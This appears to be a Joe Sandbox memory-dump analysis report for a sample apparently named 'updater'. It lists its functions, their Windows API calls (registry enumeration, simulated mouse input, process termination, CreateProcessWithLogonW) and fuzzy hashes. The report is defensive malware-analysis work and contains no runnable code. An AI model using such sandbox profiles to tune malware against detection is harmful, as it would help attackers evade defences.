Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 631d42049510ec38424a8ff81a912294a525093c4da47d84dc9f634c4d8da590
Instruction ID: e98aec80c151a2aebb8365d4a19832d2c0d749a6f3ddf9a3fd6c329dfedbb7c5
Opcode Fuzzy Hash: 631d42049510ec38424a8ff81a912294a525093c4da47d84dc9f634c4d8da590
Instruction Fuzzy Hash: 56B1393990024ADBDF10CFA9C580BEEB7F1FF08310F1485A9ED59AB254DB74A950CB64

Function 00C16A73 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C16BC6
_memmove.LIBCMT ref: 00C16B01

Part of subcall function 00BB4D37: __itow.LIBCMT ref: 00BB4D62
Part of subcall function 00BB4D37: __swprintf.LIBCMT ref: 00BB4DAC

_memmove.LIBCMT ref: 00C16B74
_memmove.LIBCMT ref: 00C16C5B
_memmove.LIBCMT ref: 00C16C74
_memmove.LIBCMT ref: 00C16C90

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: c0640e279a218e1c815cf920c8e0d6ce61dbb8ff43003e1f4124e81956b67da1
Instruction ID: 2ed179a34797145281e2dbd5d7c087de7e72935cf33f714454f666d389f78f10
Opcode Fuzzy Hash: c0640e279a218e1c815cf920c8e0d6ce61dbb8ff43003e1f4124e81956b67da1
Instruction Fuzzy Hash: BC61A23150025AABCF11EF64CC91EFE77A8EF06304F044599F8996B292DB749D45EB50

Function 00C30844 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

Part of subcall function 00C3147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00C3040D,?,?), ref: 00C31491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00C3091D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00C3095D
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00C30980
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00C309A9
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00C309EC
RegCloseKey.ADVAPI32(00000000), ref: 00C309F9

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 7d097421af638208ca85ee26ce426532c466b1958c56d0072f5c8749bc9f4d8b
Instruction ID: 7a580457a1fcb812b00f548454b09da44e9864d127f8b82468d181c2342ecea2
Opcode Fuzzy Hash: 7d097421af638208ca85ee26ce426532c466b1958c56d0072f5c8749bc9f4d8b
Instruction Fuzzy Hash: 06515532218300AFD714EB64C895F6EBBE9FF85310F14495DF5998B2A2DB31E905CB52

Function 00C35DD6 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00C35E38
GetMenuItemCount.USER32(00000000), ref: 00C35E6F
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00C35E97
GetMenuItemID.USER32(?,?), ref: 00C35F06
GetSubMenu.USER32(?,?), ref: 00C35F14
PostMessageW.USER32(?,00000111,?,00000000), ref: 00C35F65

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 15645042209f9276442e9488099dd160a196bdab080d91d2cf0d3f292617feab
Instruction ID: 19db24be083e07f35101fcfd75d6256c1d03ccf04fd3a108ac364936853a3205
Opcode Fuzzy Hash: 15645042209f9276442e9488099dd160a196bdab080d91d2cf0d3f292617feab
Instruction Fuzzy Hash: 8051AB75A00A15AFCB11EFA4C845AAEBBF5EF48310F1040A9F911BB391DB74AE418B90

Function 00C0F688 Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00C0F6A2
VariantClear.OLEAUT32(00000013), ref: 00C0F714
VariantClear.OLEAUT32(00000000), ref: 00C0F76F
_memmove.LIBCMT ref: 00C0F799
VariantClear.OLEAUT32(?), ref: 00C0F7E6
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00C0F814

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 5f8283547b01850ca657336fe18adcf930e691c13e8d3482cb436f039a53c88b
Instruction ID: 83b5bca5974db7e2f63e2d84ba39cb2e9732814873c90ad7320878eebedfe6ac
Opcode Fuzzy Hash: 5f8283547b01850ca657336fe18adcf930e691c13e8d3482cb436f039a53c88b
Instruction Fuzzy Hash: B0514D75A00209EFCB24CF58C884AAAB7F8FF4D314B15856AEA59DB341D730E951CFA0

Function 00C129B1 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C129FF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00C12A4A
IsMenu.USER32(00000000), ref: 00C12A6A
CreatePopupMenu.USER32 ref: 00C12A9E
GetMenuItemCount.USER32(000000FF), ref: 00C12AFC
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00C12B2D

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: ded37e4977dcf710d6b799293e85573f3f1ccf358108f2db25b182774ecec6b8
Instruction ID: c2cd4f2d10231374325fee52853c8c1d7a217b224cf21628c9e8a6866b084b95
Opcode Fuzzy Hash: ded37e4977dcf710d6b799293e85573f3f1ccf358108f2db25b182774ecec6b8
Instruction Fuzzy Hash: A051C078604349DFDF25CF68D888BEEBBF4EF06314F104159E8229B291D7709AA4EB51

Function 00BB1B41 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00BB29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BB29F3

BeginPaint.USER32(?,?,?,?,?,?), ref: 00BB1B76
GetWindowRect.USER32(?,?), ref: 00BB1BDA
ScreenToClient.USER32(?,?), ref: 00BB1BF7
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00BB1C08
EndPaint.USER32(?,?), ref: 00BB1C52

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 26c6af63b3ec52f01517860d93f443b80453095adb8f2f741252d07554ea3bb0
Instruction ID: fb08bedceabaa0c9362346efc297f186b8fd7b545683dbdaa8342c1544bb3b25
Opcode Fuzzy Hash: 26c6af63b3ec52f01517860d93f443b80453095adb8f2f741252d07554ea3bb0
Instruction Fuzzy Hash: 6541B3311043049FD711DF29CC98FBA7BF8FB45360F140AA9F9999B2A1C7709845DB62

Function 00C3BD10 Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(00C777B0,00000000,011CDF18,?,?,00C777B0,?,00C3BC1A,?,?), ref: 00C3BD84
EnableWindow.USER32(00000000,00000000), ref: 00C3BDA8
ShowWindow.USER32(00C777B0,00000000,011CDF18,?,?,00C777B0,?,00C3BC1A,?,?), ref: 00C3BE08
ShowWindow.USER32(00000000,00000004,?,00C3BC1A,?,?), ref: 00C3BE1A
EnableWindow.USER32(00000000,00000001), ref: 00C3BE3E
SendMessageW.USER32(?,0000130C,?,00000000), ref: 00C3BE61

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 92cba49c4b5a88ffc47b55f7173a6063d413da5740cec9fda18a21352370fdd9
Instruction ID: 5fa7f13008c43b091c83a53fe82a7d44901c886cff7978a687e7632142088b8e
Opcode Fuzzy Hash: 92cba49c4b5a88ffc47b55f7173a6063d413da5740cec9fda18a21352370fdd9
Instruction Fuzzy Hash: 6E415B35610144AFDB22CF28C489BD4BBE1FF46714F2841A9FB698F2A6CB31AD45CB51

Function 00C27788 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00C2550C,?,?,00000000,00000001), ref: 00C27796

Part of subcall function 00C2406C: GetWindowRect.USER32(?,?), ref: 00C2407F

GetDesktopWindow.USER32 ref: 00C277C0
GetWindowRect.USER32(00000000), ref: 00C277C7
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00C277F9

Part of subcall function 00C157FF: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C15877

GetCursorPos.USER32(?), ref: 00C27825
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00C27883

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 7f5d003dd0bcfa8255b91ade998ad43aaf89cfac3ebb2511e2faf7ba9bade012
Instruction ID: 7a3a40be60cdf4f6eece8bd8fae23460e23a17e8a019938473a586ddb29a1b5c
Opcode Fuzzy Hash: 7f5d003dd0bcfa8255b91ade998ad43aaf89cfac3ebb2511e2faf7ba9bade012
Instruction Fuzzy Hash: D431D272508315ABD720DF14D849F9FB7E9FF89314F100919F995A7181DB31EA48CB92

Function 00C09431 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C08CC7: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00C08CDE
Part of subcall function 00C08CC7: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00C08CE8
Part of subcall function 00C08CC7: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00C08CF7
Part of subcall function 00C08CC7: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00C08CFE
Part of subcall function 00C08CC7: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00C08D14

GetLengthSid.ADVAPI32(?,00000000,00C0904D), ref: 00C09482
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00C0948E
HeapAlloc.KERNEL32(00000000), ref: 00C09495
CopySid.ADVAPI32(00000000,00000000,?), ref: 00C094AE
GetProcessHeap.KERNEL32(00000000,00000000,00C0904D), ref: 00C094C2
HeapFree.KERNEL32(00000000), ref: 00C094C9

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 8d9ae9d6349d0aa355e3bed9e67e35899cbb2cb6d8c63668e47edb9cbc133298
Instruction ID: 8600251a32d88c2f3f7a6be643c8c8fa66f0dcc6621f6a5f071c8f43c5b6c01d
Opcode Fuzzy Hash: 8d9ae9d6349d0aa355e3bed9e67e35899cbb2cb6d8c63668e47edb9cbc133298
Instruction Fuzzy Hash: C311BE76941604FFDB109FA4CC09BAF7BA9FB46316F208158F98597251C7369A06CB60

Function 00C091CF Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00C09200
OpenProcessToken.ADVAPI32(00000000), ref: 00C09207
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00C09216
CloseHandle.KERNEL32(00000004), ref: 00C09221
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00C09250
DestroyEnvironmentBlock.USERENV(00000000), ref: 00C09264

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 2983f9de5d49ccaf0bbf712ec2bdf4cdb060be88aec5f63334b6ced92f41e2d3
Instruction ID: 63e2577d720512269b26a1a5ae566f0ee03a4e0991b43c8af647a25576f0ae6d
Opcode Fuzzy Hash: 2983f9de5d49ccaf0bbf712ec2bdf4cdb060be88aec5f63334b6ced92f41e2d3
Instruction Fuzzy Hash: CD11447664120AABDB118FA4ED49BDE7BA9FB09314F144024FE05A21A1C2769E60EB61

Function 00C0C329 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00C0C34E
GetDeviceCaps.GDI32(00000000,00000058), ref: 00C0C35F
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00C0C366
ReleaseDC.USER32(00000000,00000000), ref: 00C0C36E
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00C0C385
MulDiv.KERNEL32(000009EC,?,?), ref: 00C0C397

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 16b475ed651bddcbfbbf1d493a4116865a71b0f224342049da8f68522cd8ff88
Instruction ID: d934066ca4f0b0d088009df78b531fc8552c18db57f37d64417112f63de849a8
Opcode Fuzzy Hash: 16b475ed651bddcbfbbf1d493a4116865a71b0f224342049da8f68522cd8ff88
Instruction Fuzzy Hash: 29012175E40218BBEB109BA59C49B9EBFA8EB49751F104165FE08A7290D6709910CFA0

Function 00C3C552 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00BB16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00BB1729
Part of subcall function 00BB16CF: SelectObject.GDI32(?,00000000), ref: 00BB1738
Part of subcall function 00BB16CF: BeginPath.GDI32(?), ref: 00BB174F
Part of subcall function 00BB16CF: SelectObject.GDI32(?,00000000), ref: 00BB1778

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00C3C57C
LineTo.GDI32(00000000,00000003,?), ref: 00C3C590
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00C3C59E
LineTo.GDI32(00000000,00000000,?), ref: 00C3C5AE
EndPath.GDI32(00000000), ref: 00C3C5BE
StrokePath.GDI32(00000000), ref: 00C3C5CE

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: baa141654e4f78776c3dfee823aefb27254a018a39c28178a573d3c2a5d8502d
Instruction ID: 2a4b61db5ef1bce1a856961b6e04ad34f24665d400ff5ea2a75a77c211d432cd
Opcode Fuzzy Hash: baa141654e4f78776c3dfee823aefb27254a018a39c28178a573d3c2a5d8502d
Instruction Fuzzy Hash: C711097604010CBFDB129F90DC88FAE7FADFB09354F148051BA189A1A1C771AE95EBA0

Function 00BD07BB Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00BD07EC
MapVirtualKeyW.USER32(00000010,00000000), ref: 00BD07F4
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00BD07FF
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00BD080A
MapVirtualKeyW.USER32(00000011,00000000), ref: 00BD0812
MapVirtualKeyW.USER32(00000012,00000000), ref: 00BD081A

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 2bda2da0797b6b5d5825993b33d79c3d7e7c0fd4a1275801870cb467dba38ed9
Instruction ID: 7c929f705aa5a118398670596544f4d4eedbbf4511c00707e54927324c208327
Opcode Fuzzy Hash: 2bda2da0797b6b5d5825993b33d79c3d7e7c0fd4a1275801870cb467dba38ed9
Instruction Fuzzy Hash: 44016CB09427597DE3008F5A8C85B56FFB8FF59354F00411BA15C47941C7F5A868CBE5

Function 00C159A4 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00C159B4
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00C159CA
GetWindowThreadProcessId.USER32(?,?), ref: 00C159D9
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00C159E8
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00C159F2
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00C159F9

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 6e828076b12e572001b0553722edcd366c5dc16090ab384bb8e89aae557b3f13
Instruction ID: ae5171579b1fb10f76c9f6007125f8c7b984aea6f5f01fbe248851270c5075ca
Opcode Fuzzy Hash: 6e828076b12e572001b0553722edcd366c5dc16090ab384bb8e89aae557b3f13
Instruction Fuzzy Hash: CDF06D36280158BBE3215B929C0DFEF7E3CFBC7B21F100159FE0191050D7B01A1186B5

Function 00C177EB Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00C177FE
EnterCriticalSection.KERNEL32(?,?,00BBC2B6,?,?), ref: 00C1780F
TerminateThread.KERNEL32(00000000,000001F6,?,00BBC2B6,?,?), ref: 00C1781C
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00BBC2B6,?,?), ref: 00C17829

Part of subcall function 00C171F0: CloseHandle.KERNEL32(00000000,?,00C17836,?,00BBC2B6,?,?), ref: 00C171FA

InterlockedExchange.KERNEL32(?,000001F6), ref: 00C1783C
LeaveCriticalSection.KERNEL32(?,?,00BBC2B6,?,?), ref: 00C17843

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: d5e3690709eb610095840b65e6e22a9dd7f9eacf380c8c295c800e1111a12b88
Instruction ID: c2e238906d8e74de38fe596e669fa1bfa0e5f711532ef73f62a9d96965f745a8
